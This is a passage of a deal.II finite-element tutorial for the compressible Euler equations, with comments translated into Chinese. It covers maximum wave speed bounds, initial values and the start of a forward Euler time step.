\u4e00\u822c\u6765\u8bf4\uff0c\u8981\u83b7\u5f97\u6700\u5927\u6ce2\u901f\u7684\u5c16\u9510\u4fdd\u8bc1\u4e0a\u754c\u9700\u8981\u89e3\u51b3\u4e00\u4e2a\u76f8\u5f53\u6602\u8d35\u7684\u6807\u91cf\u975e\u7ebf\u6027\u95ee\u9898\u3002\u8fd9\u901a\u5e38\u662f\u901a\u8fc7\u4e00\u4e2a\u8fed\u4ee3\u6c42\u89e3\u5668\u6765\u5b8c\u6210\u7684\u3002\u4e3a\u4e86\u7b80\u5316\u672c\u4f8b\u4e2d\u7684\u8868\u8ff0\uff0c\u6211\u4eec\u51b3\u5b9a\u4e0d\u5305\u62ec\u8fd9\u6837\u7684\u8fed\u4ee3\u65b9\u6848\u3002\u76f8\u53cd\uff0c\u6211\u4eec\u5c06\u53ea\u662f\u4f7f\u7528\u4e00\u4e2a\u521d\u59cb\u731c\u6d4b\u4f5c\u4e3a\u6700\u5927\u6ce2\u901f\u7684\u4e0a\u9650\u731c\u6d4b\u3002\u66f4\u786e\u5207\u5730\u8bf4\uff0c @cite GuermondPopov2016b \u7684\u65b9\u7a0b\uff082.11\uff09\uff083.7\uff09\u3001\uff083.8\uff09\u548c\uff084.3\uff09\u8db3\u4ee5\u5b9a\u4e49\u6700\u5927\u6ce2\u901f\u7684\u4fdd\u8bc1\u4e0a\u9650\u3002\u8fd9\u4e2a\u4f30\u8ba1\u503c\u901a\u8fc7\u8c03\u7528\u51fd\u6570  <code>lambda_max_two_rarefaction()</code>  \u6765\u8fd4\u56de\u3002\u5728\u5176\u6838\u5fc3\u90e8\u5206\uff0c\u8fd9\u6837\u4e00\u4e2a\u4e0a\u754c\u7684\u6784\u9020\u4f7f\u7528\u4e86\u6240\u8c13\u7684\u4e2d\u95f4\u538b\u529b\u7684\u4e8c\u8d56\u5f0f\u8fd1\u4f3c  $p^*$  \uff0c\u4f8b\u5982\uff0c\u89c1\u516c\u5f0f\uff084.46\uff09\uff0c\u5728  @cite Toro2009  \u7b2c128\u9875\u3002\n\n// \u7531 <code>lambda_max_two_rarefaction()</code> \u8fd4\u56de\u7684\u4f30\u8ba1\u503c\u4fdd\u8bc1\u662f\u4e00\u4e2a\u4e0a\u754c\uff0c\u5b83\u5728\u4e00\u822c\u60c5\u51b5\u4e0b\u662f\u76f8\u5f53\u5c16\u9510\u7684\uff0c\u800c\u4e14\u5bf9\u6211\u4eec\u7684\u76ee\u7684\u6765\u8bf4\u603b\u4f53\u4e0a\u662f\u8db3\u591f\u7684\u3002\u7136\u800c\uff0c\u5bf9\u4e8e\u4e00\u4e9b\u7279\u5b9a\u7684\u60c5\u51b5\uff08\u7279\u522b\u662f\u5f53\u5176\u4e2d\u4e00\u4e2a\u72b6\u6001\u63a5\u8fd1\u771f\u7a7a\u6761\u4ef6\u65f6\uff09\uff0c\u8fd9\u6837\u7684\u4f30\u8ba1\u4f1a\u8fc7\u4e8e\u60b2\u89c2\u3002\u8fd9\u5c31\u662f\u4e3a\u4ec0\u4e48\u6211\u4eec\u4f7f\u7528\u7b2c\u4e8c\u4e2a\u4f30\u8ba1\u6765\u907f\u514d\u8fd9\u79cd\u9000\u5316\uff0c\u5b83\u5c06\u901a\u8fc7\u8c03\u7528\u51fd\u6570  <code>lambda_max_expansion()</code>  \u6765\u8c03\u7528\u3002\u8fd9\u91cc\u6700\u91cd\u8981\u7684\u51fd\u6570\u662f  <code>compute_lambda_max()</code>  \uff0c\u5b83\u53d6\u7684\u662f  <code>lambda_max_two_rarefaction()</code>  \u548c  <code>lambda_max_expansion()</code>  \u6240\u8fd4\u56de\u7684\u4f30\u8ba1\u503c\u4e4b\u95f4\u7684\u6700\u5c0f\u503c\u3002\n\n// \u6211\u4eec\u518d\u6b21\u5f00\u59cb\u5b9a\u4e49\u51e0\u4e2a\u8f85\u52a9\u51fd\u6570\u3002\n\n// \u7b2c\u4e00\u4e2a\u51fd\u6570\u63a5\u6536\u4e00\u4e2a\u72b6\u6001 <code>U</code> \u548c\u4e00\u4e2a\u5355\u4f4d\u5411\u91cf <code>n_ij</code> \uff0c\u5e76\u6309\u7167\u5355\u4f4d\u5411\u91cf\u7684\u65b9\u5411\u8ba1\u7b97<i>projected</i>\u4e00\u7ef4\u72b6\u6001\u3002\n\n  namespace \n  { \n    template <int dim> \n    DEAL_II_ALWAYS_INLINE inline std::array<double, 4> riemann_data_from_state( \n      const typename ProblemDescription<dim>::state_type U, \n      const Tensor<1, dim> &                             n_ij) \n    { \n      Tensor<1, 3> projected_U; \n      projected_U[0] = U[0]; \n\n// \u4e3a\u6b64\uff0c\u6211\u4eec\u5fc5\u987b\u5c06\u52a8\u91cf\u6539\u4e3a $\\textbf{m}\\cdot n_{ij}$ \uff0c\u5e76\u4e14\u5fc5\u987b\u4ece\u603b\u80fd\u91cf\u4e2d\u51cf\u53bb\u5782\u76f4\u90e8\u5206\u7684\u52a8\u80fd\u3002\n\n      const auto m   = ProblemDescription<dim>::momentum(U); \n      projected_U[1] = n_ij * m; \n\n      const auto perpendicular_m = m - projected_U[1] * n_ij; \n      projected_U[2] = U[1 + dim] - 0.5 * perpendicular_m.norm_square() / U[0]; \n\n// \u6211\u4eec\u4ee5<i>primitive</i>\u53d8\u91cf\u800c\u4e0d\u662f\u5b88\u6052\u91cf\u6765\u8fd4\u56de\u4e00\u7ef4\u72b6\u6001\u3002\u8fd4\u56de\u6570\u7ec4\u5305\u62ec\u5bc6\u5ea6  $\\rho$  \u3001\u901f\u5ea6  $u$  \u3001\u538b\u529b  $p$  \u548c\u5c40\u90e8\u58f0\u901f  $a$  \u3002\n\n      return {{projected_U[0], \n               projected_U[1] / projected_U[0], \n               ProblemDescription<1>::pressure(projected_U), \n               ProblemDescription<1>::speed_of_sound(projected_U)}}; \n    } \n\n// \u5728\u8fd9\u4e00\u70b9\u4e0a\uff0c\u6211\u4eec\u8fd8\u5b9a\u4e49\u4e86\u4e24\u4e2a\u5c0f\u51fd\u6570\uff0c\u7528\u6765\u8fd4\u56de\u4e00\u4e2a\u53cc\u6570\u7684\u6b63\u8d1f\u90e8\u5206\u3002\n\n    DEAL_II_ALWAYS_INLINE inline double positive_part(const double number) \n    { \n      return std::max(number, 0.); \n    } \n\n    DEAL_II_ALWAYS_INLINE inline double negative_part(const double number) \n    { \n      return -std::min(number, 0.); \n    } \n\n// \u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u9700\u8981\u4e24\u4e2a\u672c\u5730\u6587\u6570\uff0c\u5b83\u4eec\u662f\u4ee5\u539f\u59cb\u72b6\u6001 $[\\rho, u, p, a]$ \u548c\u7ed9\u5b9a\u538b\u529b $p^\\ast$ \u4e3a\u6761\u4ef6\u5b9a\u4e49\u7684\u3002\n// @cite GuermondPopov2016  \u516c\u5f0f\uff083.7\uff09\u3002\n// @f{align*}\n//    \\lambda^- = u - a\\,\\sqrt{1 + \\frac{\\gamma+1}{2\\gamma}\n//    \\left(\\frac{p^\\ast-p}{p}\\right)_+}\n//  @f} \n//  \u8fd9\u91cc\uff0c $(\\cdot)_{+}$  \u8868\u793a\u7ed9\u5b9a\u53c2\u6570\u7684\u6b63\u6570\u90e8\u5206\u3002\n\n    DEAL_II_ALWAYS_INLINE inline double \n    lambda1_minus(const std::array<double, 4> &riemann_data, \n                  const double                 p_star) \n    { \n\n      /* Implements formula (3.7) in Guermond-Popov-2016 */\n\n\n      constexpr double gamma = ProblemDescription<1>::gamma; \n      const auto       u     = riemann_data[1]; \n      const auto       p     = riemann_data[2]; \n      const auto       a     = riemann_data[3]; \n\n      const double factor = (gamma + 1.0) / 2.0 / gamma; \n      const double tmp    = positive_part((p_star - p) / p); \n      return u - a * std::sqrt(1.0 + factor * tmp); \n    } \n\n// Analougously  @cite GuermondPopov2016  \u65b9\u7a0b\uff083.8\uff09\u3002\n// @f{align*}\n//    \\lambda^+ = u + a\\,\\sqrt{1 + \\frac{\\gamma+1}{2\\gamma}\n//    \\left(\\frac{p^\\ast-p}{p}\\right)_+}\n//  @f}\n\n    DEAL_II_ALWAYS_INLINE inline double \n    lambda3_plus(const std::array<double, 4> &riemann_data, const double p_star) \n    { \n\n      /* Implements formula (3.8) in Guermond-Popov-2016 */\n\n      constexpr double gamma = ProblemDescription<1>::gamma; \n      const auto       u     = riemann_data[1]; \n      const auto       p     = riemann_data[2]; \n      const auto       a     = riemann_data[3]; \n\n      const double factor = (gamma + 1.0) / 2.0 / gamma; \n      const double tmp    = positive_part((p_star - p) / p); \n      return u + a * std::sqrt(1.0 + factor * tmp); \n    } \n\n// \u5269\u4e0b\u7684\u5c31\u662f\u8ba1\u7b97\u4ece\u5de6\u548c\u53f3\u539f\u59cb\u72b6\u6001\u8ba1\u7b97\u51fa\u6765\u7684 $\\lambda^-$ \u548c $\\lambda^+$ \u7684\u6700\u5927\u503c\uff08  @cite GuermondPopov2016  \u516c\u5f0f\uff082.11\uff09\uff09\uff0c\u5176\u4e2d $p^\\ast$ \u7531 @cite GuermondPopov2016  \u516c\u5f0f\uff084.3\uff09\u7ed9\u51fa\u3002\n\n    DEAL_II_ALWAYS_INLINE inline double \n    lambda_max_two_rarefaction(const std::array<double, 4> &riemann_data_i, \n                               const std::array<double, 4> &riemann_data_j) \n    { \n      constexpr double gamma = ProblemDescription<1>::gamma; \n      const auto       u_i   = riemann_data_i[1]; \n      const auto       p_i   = riemann_data_i[2]; \n      const auto       a_i   = riemann_data_i[3]; \n      const auto       u_j   = riemann_data_j[1]; \n      const auto       p_j   = riemann_data_j[2]; \n      const auto       a_j   = riemann_data_j[3]; \n\n      const double numerator = a_i + a_j - (gamma - 1.) / 2. * (u_j - u_i); \n\n      const double denominator = \n        a_i * std::pow(p_i / p_j, -1. * (gamma - 1.) / 2. / gamma) + a_j * 1.; \n\n/* Guermond-Popov-2016 */ \n\n\u4e2d\u7684\u516c\u5f0f\uff084.3\uff09\u3002\n      const double p_star = \n        p_j * std::pow(numerator / denominator, 2. * gamma / (gamma - 1)); \n\n      const double lambda1 = lambda1_minus(riemann_data_i, p_star); \n      const double lambda3 = lambda3_plus(riemann_data_j, p_star); \n\n/* Guermond-Popov-2016\u4e2d\u7684\u516c\u5f0f\uff082.11\uff09  */ \n\n      return std::max(positive_part(lambda3), negative_part(lambda1)); \n    } \n\n// \u6211\u4eec\u8ba1\u7b97\u51fa\u6700\u5927\u6ce2\u901f\u7684\u7b2c\u4e8c\u4e2a\u4e0a\u754c\uff0c\u4e00\u822c\u6765\u8bf4\uff0c\u5b83\u4e0d\u50cf\u4e8c\u91cd\u5316\u4f30\u8ba1\u90a3\u6837\u5c16\u9510\u3002\u4f46\u5728\u63a5\u8fd1\u771f\u7a7a\u7684\u6761\u4ef6\u4e0b\uff0c\u5f53\u4e8c\u8d56\u5b50\u8fd1\u4f3c\u503c\u53ef\u80fd\u8fbe\u5230\u6781\u7aef\u503c\u65f6\uff0c\u5b83\u5c06\u633d\u6551\u4e00\u5207\u3002\n// @f{align*}\n//    \\lambda_{\\text{exp}} = \\max(u_i,u_j) + 5. \\max(a_i, a_j).\n//  @f} \n// @note  \u5e38\u65705.0\u4e58\u4ee5\u58f0\u901f\u7684\u6700\u5927\u503c\u662f<i>neither</i>\u4e00\u4e2a\u4e34\u65f6\u7684\u5e38\u6570\uff0c<i>nor</i>\u4e00\u4e2a\u8c03\u6574\u53c2\u6570\u3002\u5b83\u4e3a\u4efb\u4f55  $\\gamma \\in [0,5/3]$  \u5b9a\u4e49\u4e86\u4e00\u4e2a\u4e0a\u9650\u3002\u8bf7\u4e0d\u8981\u73a9\u5f04\u5b83!\n\n    DEAL_II_ALWAYS_INLINE inline double \n    lambda_max_expansion(const std::array<double, 4> &riemann_data_i, \n                         const std::array<double, 4> &riemann_data_j) \n    { \n      const auto u_i = riemann_data_i[1]; \n      const auto a_i = riemann_data_i[3]; \n      const auto u_j = riemann_data_j[1]; \n      const auto a_j = riemann_data_j[3]; \n\n      return std::max(std::abs(u_i), std::abs(u_j)) + 5. * std::max(a_i, a_j); \n    } \n  } // namespace \n\n// \u4e0b\u9762\u662f\u6211\u4eec\u8981\u8c03\u7528\u7684\u4e3b\u51fd\u6570\uff0c\u4ee5\u8ba1\u7b97  $\\lambda_{\\text{max}} (\\mathbf{U}_i^{n},\\mathbf{U}_j^{n}, \\textbf{n}_{ij})$  \u3002\u6211\u4eec\u7b80\u5355\u5730\u8ba1\u7b97\u4e24\u4e2a\u6700\u5927\u7684\u6ce2\u901f\u4f30\u8ba1\u503c\u5e76\u8fd4\u56de\u6700\u5c0f\u503c\u3002\n\n  template <int dim> \n  DEAL_II_ALWAYS_INLINE inline double \n  ProblemDescription<dim>::compute_lambda_max(const state_type &    U_i, \n                                              const state_type &    U_j, \n                                              const Tensor<1, dim> &n_ij) \n  { \n    const auto riemann_data_i = riemann_data_from_state(U_i, n_ij); \n    const auto riemann_data_j = riemann_data_from_state(U_j, n_ij); \n\n    const double lambda_1 = \n      lambda_max_two_rarefaction(riemann_data_i, riemann_data_j); \n\n    const double lambda_2 = \n      lambda_max_expansion(riemann_data_i, riemann_data_j); \n\n    return std::min(lambda_1, lambda_2); \n  } \n\n// \u6211\u4eec\u901a\u8fc7\u5b9a\u4e49\u9759\u6001\u6570\u7ec4 <code>component_names</code> \u6765\u7ed3\u675f\u672c\u8282\uff0c\u8fd9\u4e9b\u9759\u6001\u6570\u7ec4\u5305\u542b\u63cf\u8ff0\u6211\u4eec\u7684\u72b6\u6001\u5411\u91cf\u7684\u7ec4\u4ef6\u540d\u79f0\u7684\u5b57\u7b26\u4e32\u3002\u6211\u4eec\u5bf9\u7ef4\u5ea6\u4e00\u3001\u4e8c\u548c\u4e09\u8fdb\u884c\u4e86\u6a21\u677f\u7279\u5316\uff0c\u8fd9\u5728\u540e\u9762\u7684DataOut\u4e2d\u88ab\u7528\u6765\u547d\u540d\u76f8\u5e94\u7684\u7ec4\u4ef6\u3002\n\n  template <> \n  const std::array<std::string, 3> ProblemDescription<1>::component_names{ \n    {\"rho\", \"m\", \"E\"}}; \n\n  template <> \n  const std::array<std::string, 4> ProblemDescription<2>::component_names{ \n    {\"rho\", \"m_1\", \"m_2\", \"E\"}}; \n\n  template <> \n  const std::array<std::string, 5> ProblemDescription<3>::component_names{ \n    {\"rho\", \"m_1\", \"m_2\", \"m_3\", \"E\"}}; \n// @sect4{Initial values}  \n\n// \u5728\u6211\u4eec\u8ba8\u8bba\u6b63\u5411\u6b27\u62c9\u65b9\u6848\u7684\u5b9e\u73b0\u4e4b\u524d\uff0c\u6700\u540e\u4e00\u4e2a\u51c6\u5907\u6b65\u9aa4\u662f\u7b80\u5355\u5730\u5b9e\u73b0`InitialValues`\u7c7b\u3002\n\n// \u5728\u6784\u9020\u51fd\u6570\u4e2d\uff0c\u6211\u4eec\u7528\u9ed8\u8ba4\u503c\u521d\u59cb\u5316\u6240\u6709\u53c2\u6570\uff0c\u4e3a`\u53c2\u6570\u63a5\u53d7\u5668`\u7c7b\u58f0\u660e\u6240\u6709\u53c2\u6570\uff0c\u5e76\u5c06 <code>parse_parameters_call_back</code> \u69fd\u8fde\u63a5\u5230\u76f8\u5e94\u7684\u4fe1\u53f7\u3002\n\n//  <code>parse_parameters_call_back</code> \u69fd\u5c06\u5728\u8c03\u7528 ParameterAcceptor::initialize(). \u540e\u4eceParameterAceptor\u4e2d\u8c03\u7528\u3002 \u5728\u8fd9\u65b9\u9762\uff0c\u5b83\u7684\u4f7f\u7528\u9002\u5408\u4e8e\u53c2\u6570\u5fc5\u987b\u88ab\u540e\u5904\u7406\uff08\u5728\u67d0\u79cd\u610f\u4e49\u4e0a\uff09\u6216\u5fc5\u987b\u68c0\u67e5\u53c2\u6570\u4e4b\u95f4\u7684\u67d0\u4e9b\u4e00\u81f4\u6027\u6761\u4ef6\u7684\u60c5\u51b5\u3002\n\n  template <int dim> \n  InitialValues<dim>::InitialValues(const std::string &subsection) \n    : ParameterAcceptor(subsection) \n  { \n\n    /* We wire up the slot InitialValues<dim>::parse_parameters_callback to\n       the ParameterAcceptor::parse_parameters_call_back signal: */\n\n\n    ParameterAcceptor::parse_parameters_call_back.connect( \n      std::bind(&InitialValues<dim>::parse_parameters_callback, this)); \n\n    initial_direction[0] = 1.; \n    add_parameter(\"initial direction\", \n                  initial_direction, \n                  \"Initial direction of the uniform flow field\"); \n\n    initial_1d_state[0] = ProblemDescription<dim>::gamma; \n    initial_1d_state[1] = 3.; \n    initial_1d_state[2] = 1.; \n    add_parameter(\"initial 1d state\", \n                  initial_1d_state, \n                  \"Initial 1d state (rho, u, p) of the uniform flow field\"); \n  } \n\n// \u5230\u76ee\u524d\u4e3a\u6b62\uff0c <code>InitialValues</code> \u7684\u6784\u9020\u51fd\u6570\u5df2\u7ecf\u4e3a\u4e24\u4e2a\u79c1\u6709\u6210\u5458 <code>initial_direction</code> and <code>initial_1d_state</code> \u5b9a\u4e49\u4e86\u9ed8\u8ba4\u503c\uff0c\u5e76\u5c06\u5b83\u4eec\u6dfb\u52a0\u5230\u53c2\u6570\u5217\u8868\u4e2d\u3002\u4f46\u662f\u6211\u4eec\u8fd8\u6ca1\u6709\u5b9a\u4e49\u6211\u4eec\u771f\u6b63\u5173\u5fc3\u7684\u552f\u4e00\u516c\u5171\u6210\u5458\u7684\u5b9e\u73b0\uff0c\u4e5f\u5c31\u662f <code>initial_state()</code> \uff08\u6211\u4eec\u5c06\u8c03\u7528\u8fd9\u4e2a\u51fd\u6570\u6765\u5b9e\u9645\u8bc4\u4f30\u7f51\u683c\u8282\u70b9\u7684\u521d\u59cb\u89e3\uff09\u3002\u5728\u8be5\u51fd\u6570\u7684\u9876\u90e8\uff0c\u6211\u4eec\u5fc5\u987b\u786e\u4fdd\u63d0\u4f9b\u7684\u521d\u59cb\u65b9\u5411\u4e0d\u662f\u96f6\u77e2\u91cf\u3002\n\n//  @note  \u6b63\u5982\u6240\u8bc4\u8bba\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u907f\u514d\u4f7f\u7528\u65b9\u6cd5  <code>parse_parameters_call_back </code>  \u5e76\u5b9a\u4e49\u4e00\u4e2a\u7c7b\u6210\u5458  <code>setup()</code>  \u4ee5\u4fbf\u5b9a\u4e49  <code>initial_state()</code>  \u7684\u5b9e\u73b0\u3002\u4f46\u4e3a\u4e86\u8bf4\u660e\u95ee\u9898\uff0c\u6211\u4eec\u60f3\u5728\u8fd9\u91cc\u8bb0\u5f55\u4e00\u79cd\u4e0d\u540c\u7684\u65b9\u5f0f\uff0c\u5e76\u4f7f\u7528ParameterAcceptor\u7684\u56de\u8c03\u4fe1\u53f7\u3002\n\n  template <int dim> \n  void InitialValues<dim>::parse_parameters_callback() \n  { \n    AssertThrow(initial_direction.norm() != 0., \n                ExcMessage( \n                  \"Initial shock front direction is set to the zero vector.\")); \n    initial_direction /= initial_direction.norm(); \n\n// \u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u7528\u4e00\u4e2a\u8ba1\u7b97\u5747\u5300\u6d41\u573a\u7684lambda\u51fd\u6570\u6765\u5b9e\u73b0 <code>initial_state</code> \u51fd\u6570\u5bf9\u8c61\u3002\u4e3a\u6b64\uff0c\u6211\u4eec\u5fc5\u987b\u5c06\u7ed9\u5b9a\u7684\u539f\u59cb1d\u72b6\u6001\uff08\u5bc6\u5ea6 $\\rho$ \u3001\u901f\u5ea6 $u$ \u548c\u538b\u529b $p$ \uff09\u8f6c\u6362\u4e3a\u4fdd\u5b88\u7684n\u7ef4\u72b6\u6001\uff08\u5bc6\u5ea6 $\\rho$ \u3001\u52a8\u91cf $\\mathbf{m}$ \u548c\u603b\u80fd\u91cf $E$  \uff09\u3002\n\n    initial_state = [this](const Point<dim> & /*point*/, double /*t*/) { \n      const double            rho   = initial_1d_state[0]; \n      const double            u     = initial_1d_state[1]; \n      const double            p     = initial_1d_state[2]; \n      static constexpr double gamma = ProblemDescription<dim>::gamma; \n\n      state_type state; \n\n      state[0] = rho; \n      for (unsigned int i = 0; i < dim; ++i) \n        state[1 + i] = rho * u * initial_direction[i]; \n\n      state[dim + 1] = p / (gamma - 1.) + 0.5 * rho * u * u; \n\n      return state; \n    }; \n  } \n// @sect4{The Forward Euler step}  \n\n//  <code>%TimeStepping</code> \u7c7b\u7684\u6784\u9020\u51fd\u6570\u4e0d\u5305\u542b\u4efb\u4f55\u4ee4\u4eba\u60ca\u8bb6\u7684\u4ee3\u7801\u3002\n\n  template <int dim> \n  TimeStepping<dim>::TimeStepping( \n    const MPI_Comm            mpi_communicator, \n    TimerOutput &             computing_timer, \n    const OfflineData<dim> &  offline_data, \n    const InitialValues<dim> &initial_values, \n    const std::string &       subsection /*= \"TimeStepping\"*/) \n    : ParameterAcceptor(subsection) \n    , mpi_communicator(mpi_communicator) \n    , computing_timer(computing_timer) \n    , offline_data(&offline_data) \n    , initial_values(&initial_values) \n  { \n    cfl_update = 0.80; \n    add_parameter(\"cfl update\", \n                  cfl_update, \n                  \"Relative CFL constant used for update\"); \n  } \n\n// \u5728\u7c7b\u6210\u5458  <code>prepare()</code>  \u4e2d\u6211\u4eec\u521d\u59cb\u5316\u4e86\u4e34\u65f6\u5411\u91cf  <code>temp</code> and the matrix <code>dij_matrix</code>  \u3002\u8be5\u5411\u91cf <code>temp</code> \u5c06\u5728\u5176\u5185\u5bb9\u4e0e\u65e7\u5411\u91cf\u4ea4\u6362\u4e4b\u524d\u7528\u4e8e\u4e34\u65f6\u5b58\u50a8\u89e3\u51b3\u65b9\u6848\u7684\u66f4\u65b0\u3002\n\n  template <int dim> \n  void TimeStepping<dim>::prepare() \n  { \n    TimerOutput::Scope scope(computing_timer, \n                             \"time_stepping - prepare scratch space\"); \n\n    for (auto &it : temporary_vector) \n      it.reinit(offline_data->partitioner); \n\n    dij_matrix.reinit(offline_data->sparsity_pattern); \n  } \n\n// \u73b0\u5728\u662f\u5b9e\u73b0\u6b63\u5411\u6b27\u62c9\u6b65\u9aa4\u7684\u65f6\u5019\u4e86\u3002\u7ed9\u51fa\u4e00\u4e2a\u5728\u65f6\u95f4 $t$ \u7684\u65e7\u72b6\u6001 <code>U</code> \u7684\uff08\u53ef\u5199\u5f15\u7528\uff09\uff0c\u6211\u4eec\u5c31\u5730\u66f4\u65b0\u72b6\u6001 <code>U</code> \uff0c\u5e76\u8fd4\u56de\u6240\u9009\u62e9\u7684\u65f6\u95f4\u6b65\u957f\u3002\u6211\u4eec\u9996\u5148\u58f0\u660e\u4e00\u4e9b\u5bf9\u5404\u79cd\u4e0d\u540c\u53d8\u91cf\u548c\u6570\u636e\u7ed3\u6784\u7684\u53ea\u8bfb\u5f15\u7528\u3002\u6211\u4eec\u8fd9\u6837\u505a\u4e3b\u8981\u662f\u4e3a\u4e86\u6709\u66f4\u77ed\u7684\u53d8\u91cf\u540d\u79f0\uff08\u4f8b\u5982\uff0c <code>sparsity</code> \u800c\u4e0d\u662f <code>offline_data->sparsity_pattern</code> \uff09\u3002\n\n  template <int dim> \n  double TimeStepping<dim>::make_one_step(vector_type &U, double t) \n  { \n    const auto &n_locally_owned    = offline_data->n_locally_owned; \n    const auto &n_locally_relevant = offline_data->n_locally_relevant; \n\n    const std_cxx20::ranges::iota_view<unsigned int, unsigned int> \n      indices_owned(0, n_locally_owned); \n    const std_cxx20::ranges::iota_view<unsigned int, unsigned int> \n      indices_relevant(0, n_locally_relevant); \n\n    const auto &sparsity = offline_data->sparsity_pattern; \n\n    const auto &lumped_mass_matrix = offline_data->lumped_mass_matrix; \n    const auto &norm_matrix        = offline_data->norm_matrix; \n    const auto &nij_matrix         = offline_data->nij_matrix; \n    const auto &cij_matrix         = offline_data->cij_matrix; \n\n    const auto &boundary_normal_map = offline_data->boundary_normal_map; \n//<b>Step 1</b>: \u8ba1\u7b97 $d_{ij}$ \u56fe\u7684\u7c98\u6027\u77e9\u9635\u3002\n\n// \u9700\u8981\u5f3a\u8c03\u7684\u662f\uff0c\u7c98\u5ea6\u77e9\u9635\u5fc5\u987b\u662f\u5bf9\u79f0\u7684\uff0c\u5373  $d_{ij} = d_{ji}$  \u3002\u5728\u8fd9\u65b9\u9762\u6211\u4eec\u6ce8\u610f\u5230\uff0c $\\int_{\\Omega} \\nabla \\phi_j \\phi_i \\, \\mathrm{d}\\mathbf{x}= -\n//  \\int_{\\Omega} \\nabla \\phi_i \\phi_j \\, \\mathrm{d}\\mathbf{x}$ \uff08\u6216\u7b49\u540c\u4e8e $\\mathbf{c}_{ij} = - \\mathbf{c}_{ji}$ \uff09\u63d0\u4f9b\u4e86 $\\mathbf{x}_i$ \u6216 $\\mathbf{x}_j$ \u662f\u4e00\u4e2a\u4f4d\u4e8e\u8fdc\u79bb\u8fb9\u754c\u7684\u652f\u6301\u70b9\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u6784\u9020\u68c0\u67e5\u51fa $\\lambda_{\\text{max}} (\\mathbf{U}_i^{n}, \\mathbf{U}_j^{n},\n//  \\textbf{n}_{ij}) = \\lambda_{\\text{max}} (\\mathbf{U}_j^{n},\n//  \\mathbf{U}_i^{n},\\textbf{n}_{ji})$ \uff0c\u8fd9\u4fdd\u8bc1\u4e86 $d_{ij} = d_{ji}$ \u7684\u5c5e\u6027\u3002\n\n// \u7136\u800c\uff0c\u5982\u679c\u4e24\u4e2a\u652f\u6301\u70b9 $\\mathbf{x}_i$ \u6216 $\\mathbf{x}_j$ \u6070\u597d\u90fd\u4f4d\u4e8e\u8fb9\u754c\u4e0a\uff0c\u90a3\u4e48\uff0c\u7b49\u5f0f $\\mathbf{c}_{ij} =\n// - \\mathbf{c}_{ji}$ \u548c $\\lambda_{\\text{max}} (\\mathbf{U}_i^{n},\n//  \\mathbf{U}_j^{n}, \\textbf{n}_{ij}) = \\lambda_{\\text{max}}\n//  (\\mathbf{U}_j^{n}, \\mathbf{U}_i^{n}, \\textbf{n}_{ji})$ \u5c31\u4e0d\u4e00\u5b9a\u6210\u7acb\u3002\u5bf9\u4e8e\u8fd9\u4e2a\u96be\u9898\uff0c\u6570\u5b66\u4e0a\u552f\u4e00\u5b89\u5168\u7684\u89e3\u51b3\u65b9\u6848\u662f\u8ba1\u7b97 $d_{ij}$ \u548c $d_{ji}$ \uff0c\u5e76\u53d6\u5176\u6700\u5927\u503c\u3002\n\n// \u603b\u4f53\u800c\u8a00\uff0c $d_{ij}$ \u7684\u8ba1\u7b97\u662f\u76f8\u5f53\u6602\u8d35\u7684\u3002\u4e3a\u4e86\u8282\u7701\u4e00\u4e9b\u8ba1\u7b97\u65f6\u95f4\uff0c\u6211\u4eec\u5229\u7528\u4e86\u7c98\u5ea6\u77e9\u9635\u5fc5\u987b\u662f\u5bf9\u79f0\u7684\u8fd9\u4e00\u4e8b\u5b9e\uff08\u5982\u4e0a\u6240\u8ff0\uff09\uff1a\u6211\u4eec\u53ea\u8ba1\u7b97 $d_{ij}$ \u7684\u4e0a\u4e09\u89d2\u6761\u76ee\uff0c\u5e76\u5c06\u76f8\u5e94\u7684\u6761\u76ee\u590d\u5236\u5230\u4e0b\u4e09\u89d2\u7684\u5bf9\u5e94\u9879\u4e0a\u3002\n\n// \u6211\u4eec\u518d\u6b21\u4f7f\u7528 parallel::apply_to_subranges() \u6765\u5b9e\u73b0\u7ebf\u7a0b\u5e76\u884c\u7684for loops\u3002\u6211\u4eec\u5728\u8ba8\u8bba\u77e9\u9635\u7684\u7ec4\u88c5 <code>norm_matrix</code> \u548c\u4e0a\u9762 <code>nij_matrix</code> \u7684\u5f52\u4e00\u5316\u65f6\u4ecb\u7ecd\u7684\u51e0\u4e4e\u6240\u6709\u5e76\u884c\u904d\u5386\u7684\u60f3\u6cd5\u90fd\u5728\u8fd9\u91cc\u5f97\u5230\u4e86\u5e94\u7528\u3002\n\n// \u6211\u4eec\u518d\u6b21\u5b9a\u4e49\u4e86\u4e00\u4e2a \"\u5de5\u4f5c\u8005 \"\u51fd\u6570 <code>on_subranges</code> \uff0c\u8ba1\u7b97\u5217\u7d22\u5f15\u5b50\u8303\u56f4[i1, i2]\u7684\u9ecf\u5ea6 $d_{ij}$ \u3002\n\n    { \n      TimerOutput::Scope scope(computing_timer, \n                               \"time_stepping - 1 compute d_ij\"); \n\n      const auto on_subranges = // \n        [&](const auto i1, const auto i2) { \n          for (const auto i : \n               std_cxx20::ranges::iota_view<unsigned int, unsigned int>(*i1, \n                                                                        *i2)) \n            { \n              const auto U_i = gather(U, i); \n\n// \u5bf9\u4e8e\u4e00\u4e2a\u7ed9\u5b9a\u7684\u5217\u7d22\u5f15i\uff0c\u6211\u4eec\u904d\u5386\u4ece <code>sparsity.begin(i)</code> \u5230 <code>sparsity.end(i)</code> \u7684\u7a00\u758f\u6a21\u5f0f\u7684\u5217\u3002\n\n              for (auto jt = sparsity.begin(i); jt != sparsity.end(i); ++jt) \n                { \n                  const auto j = jt->column(); \n\n// \u6211\u4eec\u53ea\u8ba1\u7b97 $d_{ij}$ \uff0c\u5982\u679c $j < i$ \uff08\u4e0a\u4e09\u89d2\u6761\u76ee\uff09\uff0c\u968f\u540e\u5c06\u6570\u503c\u590d\u5236\u5230 $d_{ji}$  \u3002\n\n                  if (j >= i) \n                    continue; \n\n                  const auto U_j = gather(U, j); \n\n                  const auto   n_ij = gather_get_entry(nij_matrix, jt); \n                  const double norm = get_entry(norm_matrix, jt); \n\n                  const auto lambda_max = \n                    ProblemDescription<dim>::compute_lambda_max(U_i, U_j, n_ij); \n\n                  double d = norm * lambda_max; \n\n// 